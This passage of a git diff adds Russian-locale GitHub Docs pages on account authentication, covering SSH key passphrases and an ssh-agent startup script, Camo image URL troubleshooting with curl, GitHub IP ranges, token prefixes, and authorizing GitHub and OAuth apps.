/github/authenticating-to-github/connecting-to-github-with-ssh/working-with-ssh-key-passphrases +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: SSH key passphrases +ms.openlocfilehash: 66c1289e8ebd40520962f01d61837df21eb4b8c9 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009087' +--- +## Сведения о парольных фразах для ключей SSH + +При использовании ключей SSH, если кто-то получает доступ к компьютеру, злоумышленник может получить доступ к каждой системе, использующей этот ключ. Чтобы добавить дополнительный уровень безопасности, можно использовать парольную фразу с ключом SSH. Чтобы не вводить парольную фразу при каждом подключении, можно безопасно сохранить парольную фразу в агенте SSH. + +## Добавление или изменение парольной фразы + +Парольную фразу для существующего закрытого ключа можно изменить без повторного создания пары ключа, введя следующую команду: + +```shell +$ ssh-keygen -p -f ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %} +> Enter old passphrase: [Type old passphrase] +> Key has comment 'your_email@example.com' +> Enter new passphrase (empty for no passphrase): [Type new passphrase] +> Enter same passphrase again: [Repeat the new passphrase] +> Your identification has been saved with the new passphrase. +``` + +Если у ключа уже есть парольная фраза, вам будет предложено ввести ее, прежде чем выбрать новую парольную фразу. + +{% windows %} + +## Автоматическое запуск `ssh-agent` в Git для Windows + +Вы можете запускать `ssh-agent` автоматически при открытии оболочки Bash или Git. Скопируйте следующие строки и вставьте их в файл `~/.profile` или `~/.bashrc` в оболочке Git: + +``` bash +env=~/.ssh/agent.env + +agent_load_env () { test -f "$env" && . "$env" >| /dev/null ; } + +agent_start () { + (umask 077; ssh-agent >| "$env") + . "$env" >| /dev/null ; } + +agent_load_env + +# agent_run_state: 0=agent running w/ key; 1=agent w/o key; 2=agent not running +agent_run_state=$(ssh-add -l >| /dev/null 2>&1; echo $?) + +if [ ! "$SSH_AUTH_SOCK" ] || [ $agent_run_state = 2 ]; then + agent_start + ssh-add +elif [ "$SSH_AUTH_SOCK" ] && [ $agent_run_state = 1 ]; then + ssh-add +fi + +unset env +``` + +Если закрытый ключ не хранится в одном из расположений по умолчанию (например `~/.ssh/id_rsa`), вам потребуется сообщить агенту проверки подлинности SSH, где его найти. Чтобы добавить ключ в ssh-agent, введите `ssh-add ~/path/to/my_key`. Дополнительные сведения см. в разделе [Создание нового ключа SSH и его добавление в агент SSH](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/). + +{% tip %} + +**Совет.** Если вы хотите, чтобы `ssh-agent` забыл ключ через некоторое время, выполните команду `ssh-add -t `. + +{% endtip %} + +Теперь при первом запуске Git Bash вам будет предложено ввести парольную фразу: + +```shell +> Initializing new SSH agent... +> succeeded +> Enter passphrase for /c/Users/YOU/.ssh/id_rsa: +> Identity added: /c/Users/YOU/.ssh/id_rsa (/c/Users/YOU/.ssh/id_rsa) +> Welcome to Git (version 1.6.0.2-preview20080923) +> +> Run 'git help git' to display the help index. +> Run 'git help ' to display help for specific commands. +``` + +Процесс `ssh-agent` продолжится, пока вы не выйдете из системы, не завершите работу компьютера или не завершите процесс. + +{% endwindows %} + +{% mac %} + +## Сохранение парольной фразы в цепочке ключей + +На Mac OS X Leopard через OS X El Capitan эти файлы закрытых ключей по умолчанию обрабатываются автоматически: + +- *.ssh/id_rsa* +- *.ssh/identity* + +При первом использовании ключа вам будет предложено ввести парольную фразу. Если вы решили сохранить парольную фразу с цепочкой ключей, вам не придется вводить ее снова. + +В противном случае парольную фразу можно сохранить в цепочке ключей при добавлении ключа в ssh-agent. Дополнительные сведения см. в разделе [Добавление ключа SSH в ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent). + +{% endmac %} diff --git a/translations/ru-RU/content/authentication/index.md b/translations/ru-RU/content/authentication/index.md new file mode 100644 index 000000000000..1bcd6b4b9728 --- /dev/null +++ b/translations/ru-RU/content/authentication/index.md @@ -0,0 +1,60 @@ +--- +title: Authentication +intro: 'Keep your account and data secure with features like {% ifversion not ghae %}two-factor authentication, {% endif %}SSH{% ifversion not ghae %},{% endif %} and commit signature verification.' +redirect_from: + - /categories/56/articles + - /categories/ssh + - /mac-verify-ssh + - /ssh-issues + - /verify-ssh-redirect + - /win-verify-ssh + - /categories/92/articles + - /categories/gpg + - /categories/security + - /categories/authenticating-to-github + - /github/authenticating-to-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +introLinks: + overview: /authentication/keeping-your-account-and-data-secure/about-authentication-to-github +featuredLinks: + guides: + - /authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent + - /authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token + - /authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication + - '{% ifversion ghae %}/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials{% endif %}' + popular: + - /authentication/troubleshooting-ssh + - /authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys + - /authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account + - '{% ifversion ghae %}/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection{% endif %}' + - /authentication/authenticating-with-saml-single-sign-on + - /authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits + guideCards: + - /authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials + - /authentication/troubleshooting-ssh/error-permission-denied-publickey + - /authentication/keeping-your-account-and-data-secure/creating-a-strong-password + - '{% ifversion ghae %}/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials{% endif %}' + - '{% ifversion ghae %}/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on{% endif %}' +changelog: + label: '2FA,authentication,security keys,SSH,token authentication' +layout: product-landing +topics: + - 2FA + - Identity + - Access management + - Usernames + - Device verification +children: + - /keeping-your-account-and-data-secure + - /securing-your-account-with-two-factor-authentication-2fa + - /authenticating-with-saml-single-sign-on + - /connecting-to-github-with-ssh + - /troubleshooting-ssh + - /managing-commit-signature-verification + - /troubleshooting-commit-signature-verification +--- + diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md new file mode 100644 index 000000000000..54a3a50aa744 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md @@ -0,0 +1,106 @@ +--- +title: Сведения об анонимных URL-адресах +intro: 'Если вы отправляете изображение или видео в {% data variables.product.product_name %}, URL-адрес изображения или видео будет изменен, чтобы предотвратить отслеживание ваших данных.' +redirect_from: + - /articles/why-do-my-images-have-strange-urls + - /articles/about-anonymized-image-urls + - /authenticating-to-github/about-anonymized-image-urls + - /github/authenticating-to-github/about-anonymized-urls + - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-anonymized-urls +versions: + fpt: '*' + ghec: '*' +topics: + - Identity + - Access management +ms.openlocfilehash: b96c01144d28d668d33e96e4067801395aaa8275 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145120008' +--- +Для размещения изображений {% data variables.product.product_name %} использует [проект Camo с открытым кодом](https://github.com/atmos/camo). Camo создает анонимный прокси URL-адреса для каждого файла, который скрывает сведения о вашем браузере и связанную с ним информацию от других пользователей. URL-адрес начинается с `https://.githubusercontent.com/` с разными поддоменами в зависимости от того, как вы загрузили изображение. + +Видео также получают анонимные URL-адреса в том же формате, что и URL-адреса изображений, но не обрабатываются через Camo. Это связано с тем, что {% data variables.product.prodname_dotcom %} не поддерживает видео, размещенные на внешнем хостинге, поэтому анонимный URL-адрес представляет собой ссылку на загруженное видео, размещенное на {% data variables.product.prodname_dotcom %}. + +Любой, кто получит анонимный URL-адрес напрямую или косвенно, может просмотреть изображение или видео. Чтобы конфиденциальные файлы мультимедиа оставались таковыми, ограничьте их использование частной сетью или сервером, требующим проверки подлинности, вместо использования Camo. + +## Устранение неполадок с Camo + +В редких случаях изображения, обработанные через Camo, могут не отображаться на {% data variables.product.prodname_dotcom %}. Ниже приведены некоторые действия, которые можно выполнить, чтобы определить, в чем проблема. + +{% windows %} + +{% tip %} + +Пользователям Windows потребуется либо применять Git PowerShell (который устанавливается вместе с [{% data variables.product.prodname_desktop %}](https://desktop.github.com/)), либо загрузить [curl для Windows](http://curl.haxx.se/download.html). + +{% endtip %} + +{% endwindows %} + +### Изображение не отображается + +Если изображение выводится в браузере, но не отображается на {% data variables.product.prodname_dotcom %}, попробуйте запросить его локально. + +{% data reusables.command_line.open_the_multi_os_terminal %} +1. Запрос заголовков изображений с помощью `curl`. + ```shell + $ curl -I https://www.my-server.com/images/some-image.png + > HTTP/2 200 + > Date: Fri, 06 Jun 2014 07:27:43 GMT + > Expires: Sun, 06 Jul 2014 07:27:43 GMT + > Content-Type: image/x-png + > Server: Google Frontend + > Content-Length: 6507 + ``` +3. Проверьте значение `Content-Type`. В этом случае он выглядит так: `image/x-png`. +4. Сравните этот тип контента со [списком типов, поддерживаемых Camo](https://github.com/atmos/camo/blob/master/mime-types.json). + +Если тип контента не поддерживается Camo, можно попробовать выполнить несколько действий: + * Если вы являетесь владельцем сервера, на котором размещено изображение, измените его, чтобы он возвращал правильный тип содержимого для изображений. + * Если вы используете внешнюю службу для размещения изображений, обратитесь в ее службу поддержки. + * Создайте запрос на вытягивание в Camo, чтобы добавить тип контента в список. + +### Изображение, которое было недавно изменено, не обновляется + +Если изображение было недавно изменено и оно отображается в браузере, но не на {% data variables.product.prodname_dotcom %}, можно попробовать сбросить кэш изображения. + +{% data reusables.command_line.open_the_multi_os_terminal %} +1. Запрос заголовков изображений с помощью `curl`. + ```shell + $ curl -I https://www.my-server.com/images/some-image.png + > HTTP/2 200 + > Expires: Fri, 01 Jan 1984 00:00:00 GMT + > Content-Type: image/png + > Content-Length: 2339 + > Server: Jetty(8.y.z-SNAPSHOT) + ``` + +Проверьте значение `Cache-Control`. В этом примере `Cache-Control` отсутствует. В этом случае: + * Если вы являетесь владельцем сервера, на котором размещено изображение, измените его так, чтобы он возвращал `Cache-Control` из `no-cache` для изображений. + * Если вы используете внешнюю службу для размещения изображений, обратитесь в ее службу поддержки. + + Если для `Cache-Control` *установлено* значение `no-cache`, свяжитесь с {% data variables.contact.contact_support %} или выполните поиск на {% data variables.contact.community_support_forum %}. + +### Удаление изображения из кэша Camo + +Очистка кэша заставляет каждого пользователя {% data variables.product.prodname_dotcom %} повторно запрашивать изображение, поэтому ее следует применять очень экономно и только в том случае, если описанные выше шаги не сработали. + +{% data reusables.command_line.open_the_multi_os_terminal %} +1. Очистите изображение, используя `curl -X PURGE` на URL-адресе Camo. + ```shell + $ curl -X PURGE https://camo.githubusercontent.com/4d04abe0044d94fefcf9af2133223.... + > {"status": "ok", "id": "216-8675309-1008701"} + ``` + +### Просмотр изображений в частных сетях + +Если изображение передается из частной сети или с сервера, для которого требуется проверка подлинности, оно не может быть просмотрено {% data variables.product.prodname_dotcom %}. Фактически ни один пользователь не может просмотреть его, не запрашивая вход на сервер. + +Чтобы устранить эту проблему, переместите изображение в общедоступную службу. + +## Дополнительные материалы + +- [Использование прокси для пользовательских изображений](https://github.com/blog/1766-proxying-user-images) в {% data variables.product.prodname_blog %} diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md new file mode 100644 index 000000000000..9269d90ee595 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md @@ -0,0 +1,114 @@ +--- +title: About authentication to GitHub +intro: 'You can securely access your account''s resources by authenticating to {% data variables.product.product_name %}, using different credentials depending on where you authenticate.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +redirect_from: + - /github/authenticating-to-github/about-authentication-to-github + - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github +shortTitle: Authentication to GitHub +--- +## About authentication to {% data variables.product.prodname_dotcom %} + +To keep your account secure, you must authenticate before you can access{% ifversion not ghae %} certain{% endif %} resources on {% data variables.product.product_name %}. When you authenticate to {% data variables.product.product_name %}, you supply or confirm credentials that are unique to you to prove that you are exactly who you declare to be. + +You can access your resources in {% data variables.product.product_name %} in a variety of ways: in the browser, via {% data variables.product.prodname_desktop %} or another desktop application, with the API, or via the command line. Each way of accessing {% data variables.product.product_name %} supports different modes of authentication. +{%- ifversion not fpt %} +- Your identity provider (IdP){% endif %}{% ifversion not ghae %} +- Username and password with two-factor authentication{% endif %} +- {% data variables.product.pat_generic_caps %} +- SSH key + +## Authenticating in your browser + +{% ifversion ghae %} + +You can authenticate to {% data variables.product.product_name %} in your browser using your IdP. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)." + +{% else %} + +{% ifversion fpt or ghec %} + +If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you will authenticate to {% data variables.product.product_name %} in your browser using your IdP. For more information, see "[Authenticating as a managed user](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users#authenticating-as-a-managed-user){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +If you're not a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you will authenticate using your {% data variables.product.prodname_dotcom_the_website %} username and password. You may also use two-factor authentication and SAML single sign-on, which can be required by organization and enterprise owners. + +{% else %} + +You can authenticate to {% data variables.product.product_name %} in your browser in a number of ways. + +{% endif %} + +- **Username and password only** + - You'll create a password when you create your account on {% data variables.product.product_name %}. We recommend that you use a password manager to generate a random and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/creating-a-strong-password)."{% ifversion fpt or ghec %} + - If you have not enabled 2FA, {% data variables.product.product_name %} will ask for additional verification when you first sign in from an unrecognized device, such as a new browser profile, a browser where the cookies have been deleted, or a new computer. + + After providing your username and password, you will be asked to provide a verification code that we will send to you via email. If you have the {% data variables.product.prodname_mobile %} application installed, you'll receive a notification there instead. For more information, see "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)."{% endif %} +- **Two-factor authentication (2FA)** (recommended) + - If you enable 2FA, after you successfully enter your username and password, we'll also prompt you to provide a code that's generated by a time-based one time password (TOTP) application on your mobile device{% ifversion fpt or ghec %} or sent as a text message (SMS){% endif %}. For more information, see "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/github/authenticating-to-github/accessing-github-using-two-factor-authentication#providing-a-2fa-code-when-signing-in-to-the-website)." + - In addition to authentication with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}, you can optionally add an alternative method of authentication with {% ifversion fpt or ghec %}{% data variables.product.prodname_mobile %} or{% endif %} a security key using WebAuthn. For more information, see {% ifversion fpt or ghec %}"[Configuring two-factor authentication with {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-github-mobile)" and {% endif %}"[Configuring two-factor authentication using a security key](/github/authenticating-to-github/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."{% ifversion ghes %} +- **External authentication** + - Your site administrator may configure {% data variables.location.product_location %} to use external authentication instead of a username and password. For more information, see "[External authentication methods](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication)."{% endif %}{% ifversion fpt or ghec %} +- **SAML single sign-on** + - Before you can access resources owned by an organization or enterprise account that uses SAML single sign-on, you may need to also authenticate through an IdP. For more information, see "[About authentication with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %} + +{% endif %} + +## Authenticating with {% data variables.product.prodname_desktop %} +You can authenticate with {% data variables.product.prodname_desktop %} using your browser. For more information, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." + +## Authenticating with the API + +You can authenticate with the API in different ways. + +- **{% data variables.product.pat_generic_caps %}s** + - In limited situations, such as testing, you can use a {% data variables.product.pat_generic %} to access the API. Using a {% data variables.product.pat_generic %} enables you to revoke access at any time. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +- **Web application flow** + - For OAuth Apps in production, you should authenticate using the web application flow. For more information, see "[Authorizing OAuth Apps](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow)." +- **GitHub Apps** + - For GitHub Apps in production, you should authenticate on behalf of the app installation. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/authenticating-with-github-apps/)." + +## Authenticating with the command line + +You can access repositories on {% data variables.product.product_name %} from the command line in two ways, HTTPS and SSH, and both have a different way of authenticating. The method of authenticating is determined based on whether you choose an HTTPS or SSH remote URL when you clone the repository. For more information about which way to access, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." + +### HTTPS + +You can work with all repositories on {% data variables.product.product_name %} over HTTPS, even if you are behind a firewall or proxy. + +If you authenticate with {% data variables.product.prodname_cli %}, you can either authenticate with a {% data variables.product.pat_generic %} or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). + +If you authenticate without {% data variables.product.prodname_cli %}, you must authenticate with a {% data variables.product.pat_generic %}. {% data reusables.user-settings.password-authentication-deprecation %} Every time you use Git to authenticate with {% data variables.product.product_name %}, you'll be prompted to enter your credentials to authenticate with {% data variables.product.product_name %}, unless you cache them with a [credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git). + +### SSH + +You can work with all repositories on {% data variables.product.product_name %} over SSH, although firewalls and proxies might refuse to allow SSH connections. + +If you authenticate with {% data variables.product.prodname_cli %}, the CLI will find SSH public keys on your machine and will prompt you to select one for upload. If {% data variables.product.prodname_cli %} does not find a SSH public key for upload, it can generate a new SSH public/private keypair and upload the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. Then, you can either authenticate with a {% data variables.product.pat_generic %} or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). + +If you authenticate without {% data variables.product.prodname_cli %}, you will need to generate an SSH public/private keypair on your local machine and add the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." Every time you use Git to authenticate with {% data variables.product.product_name %}, you'll be prompted to enter your SSH key passphrase, unless you've [stored the key](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent). + +{% ifversion fpt or ghec %} +### Authorizing for SAML single sign-on + +To use a {% data variables.product.pat_generic %} or SSH key to access resources owned by an organization that uses SAML single sign-on, you must also authorize the personal token or SSH key. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %} + +## {% data variables.product.company_short %}'s token formats + +{% data variables.product.company_short %} issues tokens that begin with a prefix to indicate the token's type. + +| Token type | Prefix | More information | +| :- | :- | :- | +| {% data variables.product.pat_v1_caps %} | `ghp_` | {% ifversion pat-v2 %}"[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token#creating-a-personal-access-token-classic)"{% else %}"[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)"{% endif %} |{% ifversion pat-v2 %} +| {% data variables.product.pat_v2_caps %} | `github_pat_` | "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token)" |{% endif %} +| OAuth access token | `gho_` | "[Authorizing {% data variables.product.prodname_oauth_apps %}](/developers/apps/authorizing-oauth-apps)" | +| User-to-server token for a {% data variables.product.prodname_github_app %} | `ghu_` | "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/developers/apps/identifying-and-authorizing-users-for-github-apps)" | +| Server-to-server token for a {% data variables.product.prodname_github_app %} | `ghs_` | "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)" | +| Refresh token for a {% data variables.product.prodname_github_app %} | `ghr_` | "[Refreshing user-to-server access tokens](/developers/apps/refreshing-user-to-server-access-tokens)" | + diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md new file mode 100644 index 000000000000..d239139744f6 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md @@ -0,0 +1,45 @@ +--- +title: Сведения об IP-адресах GitHub +intro: '{% data variables.product.product_name %} обслуживает приложения из нескольких диапазонов IP-адресов, которые доступны с помощью API.' +redirect_from: + - /articles/what-ip-addresses-does-github-use-that-i-should-whitelist + - /categories/73/articles + - /categories/administration + - /articles/github-s-ip-addresses + - /articles/about-github-s-ip-addresses + - /articles/about-githubs-ip-addresses + - /github/authenticating-to-github/about-githubs-ip-addresses + - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-githubs-ip-addresses +versions: + fpt: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: GitHub's IP addresses +ms.openlocfilehash: ab598fa408512a43ab07c069119480b5ae03278e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145119984' +--- +Список IP-адресов {% data variables.product.prodname_dotcom %} можно извлечь из конечной точки API [Meta](https://api.github.com/meta). Дополнительные сведения см. в разделе [Meta](/rest/reference/meta). + +{% note %} + +**Примечание.** Список IP-адресов {% data variables.product.prodname_dotcom %}, возвращаемых API Meta — это не исчерпывающий список. IP-адреса для некоторых служб {% data variables.product.prodname_dotcom %} могут не быть перечислены, например LFS или {% data variables.product.prodname_registry %}. + +{% endnote %} + +{% data variables.product.prodname_dotcom %} использует эти IP-адреса для обслуживания содержимого, доставки веб-перехватчиков и выполнения размещенных сборок {% data variables.product.prodname_actions %}. + +Эти диапазоны находятся в [нотации CIDR](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation). Можно использовать онлайн-конвертер для преобразования из нотации CIDR в диапазоны IP-адресов, например [сайт преобразования из CIDR в IPv4](https://www.ipaddressguide.com/cidr). + +Время от времени мы вносим изменения в наши IP-адреса. Мы не рекомендуем разрешения по IP-адресу, однако если вы используете эти диапазоны IP-адресов, настоятельно рекомендуется регулярно отслеживать наш API. + +Чтобы приложения работали, необходимо разрешить подключение TCP-портов 22, 80, 443 и 9418 через наши диапазоны IP-адресов для `github.com`. + +## Дополнительные материалы + +- [Устранение проблем с подключениями](/articles/troubleshooting-connectivity-problems) diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md new file mode 100644 index 000000000000..44fc1aff678d --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md @@ -0,0 +1,61 @@ +--- +title: Авторизация приложений GitHub +intro: 'Вы можете авторизовать {% data variables.product.prodname_github_app %}, чтобы разрешить приложению получать сведения о вашей учетной записи {% data variables.product.prodname_dotcom %} и в отдельных случаях вносить изменения в {% data variables.product.prodname_dotcom %} от вашего имени.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +redirect_from: + - /github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps +ms.openlocfilehash: 050f437f411919c4be488e61c032a8543a301e02 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145115056' +--- +Сторонние приложения, которым необходимо проверять ваше удостоверение {% data variables.product.prodname_dotcom %} или взаимодействовать с данными на {% data variables.product.prodname_dotcom %} от вашего имени, могут запрашивать авторизацию {% data variables.product.prodname_github_app %}. + +При авторизации {% data variables.product.prodname_github_app %} следует убедиться в том, что вы доверяете приложению, проверить, кем оно разработано, и просмотреть типы сведений, к которым приложению требуется доступ. + +Во время авторизации вам будет предложено предоставить {% data variables.product.prodname_github_app %} следующие разрешения: +* **Проверка удостоверения {% data variables.product.prodname_dotcom %}**
+ После авторизации {% data variables.product.prodname_github_app %} сможет программным способом получать ваш общедоступный профиль GitHub, а также некоторые закрытые сведения (например, ваш адрес электронной почты) в зависимости от запрошенного уровня доступа. +* **Сведения о доступных вам ресурсах**
+ После авторизации {% data variables.product.prodname_github_app %} сможет программным способом считывать _частные_ ресурсы {% data variables.product.prodname_dotcom %}, к которым у вас есть доступ (например, частные репозитории {% data variables.product.prodname_dotcom %}), _где_ также имеется установка {% data variables.product.prodname_github_app %}. Приложение может использовать ее, например, чтобы отображать соответствующий список репозиториев. +* **Действие от вашего имени**
+ Приложению может требоваться выполнять задачи на {% data variables.product.prodname_dotcom %} от вашего имени. Это может быть создание проблемы или добавление комментария к запросу на вытягивание. Возможность действовать от вашего имени ограничена ресурсами {% data variables.product.prodname_dotcom %}, к которым есть _доступ_ как у вас, так и у {% data variables.product.prodname_github_app %}. Однако в некоторых случаях приложение никогда не вносит изменений от вашего имени. + +## Когда {% data variables.product.prodname_github_app %} действует от вашего имени + +Ситуации, в которых {% data variables.product.prodname_github_app %} действует от вашего имени, зависят от назначения {% data variables.product.prodname_github_app %} и контекста его использования. + +Например, интегрированная среда разработки (IDE) может использовать {% data variables.product.prodname_github_app %} для взаимодействия от вашего имени с целью отправки созданных вами изменений через IDE в репозитории на {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_github_app %} делает это с помощью [запроса "пользователь — сервер](/get-started/quickstart/github-glossary#user-to-server-request)". + +Когда {% data variables.product.prodname_github_app %} действует от вашего имени, на GitHub об этом свидетельствует специальный значок с небольшим аватаром {% data variables.product.prodname_github_app %}, наложенным на ваш аватар, как показано ниже. + +![Проблема, созданная запросом "пользователь — сервер" из {% data variables.product.prodname_github_app %}](/assets/images/help/apps/github-apps-new-issue.png) + +## В какой степени {% data variables.product.prodname_github_app %} может получать сведения о вашем доступе к ресурсам и действовать от вашего имени + +Степень, в которой {% data variables.product.prodname_github_app %} может получать сведения о вашем доступе к ресурсам и действовать от вашего имени после авторизации, ограничена следующими факторами: + +* организации или репозитории, в которых установлено приложение; +* запрошенные приложением разрешения; +* ваш доступ к ресурсам {% data variables.product.prodname_dotcom %}. + +Поясним это на примере. + +Пользователь {% data variables.product.prodname_dotcom %} Алиса входит в стороннее веб-приложение ExampleApp, используя свое удостоверение {% data variables.product.prodname_dotcom %}. В ходе этого процесса Алиса разрешает ExampleApp выполнять действия от ее имени. + +Однако действия, которые ExampleApp может выполнять от имени Алисы на {% data variables.product.prodname_dotcom %}, ограничены репозиториями, в которых установлено приложение ExampleApp, запрошенными этим приложением разрешениями и доступом Алисы к ресурсам {% data variables.product.prodname_dotcom %}. + +Это означает, что, чтобы приложение ExampleApp могло создать проблему от имени Алисы в репозитории Repo A, должны соблюдаться все перечисленные ниже условия. + +* {% data variables.product.prodname_github_app %} ExampleApp запрашивает доступ на запись к проблемам. +* Пользователь с правами администратора Repo A должен установить {% data variables.product.prodname_github_app %} ExampleApp в Repo A. +* У Алисы должно быть разрешение на чтение в Repo A. Сведения о том, какие разрешения необходимы для выполнения различных действий, см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md new file mode 100644 index 000000000000..9eaad2d5c446 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md @@ -0,0 +1,101 @@ +--- +title: Authorizing OAuth Apps +intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing an {% data variables.product.prodname_oauth_app %}, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.' +redirect_from: + - /articles/authorizing-oauth-apps + - /github/authenticating-to-github/authorizing-oauth-apps + - /github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +--- +When an {% data variables.product.prodname_oauth_app %} wants to identify you by your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else 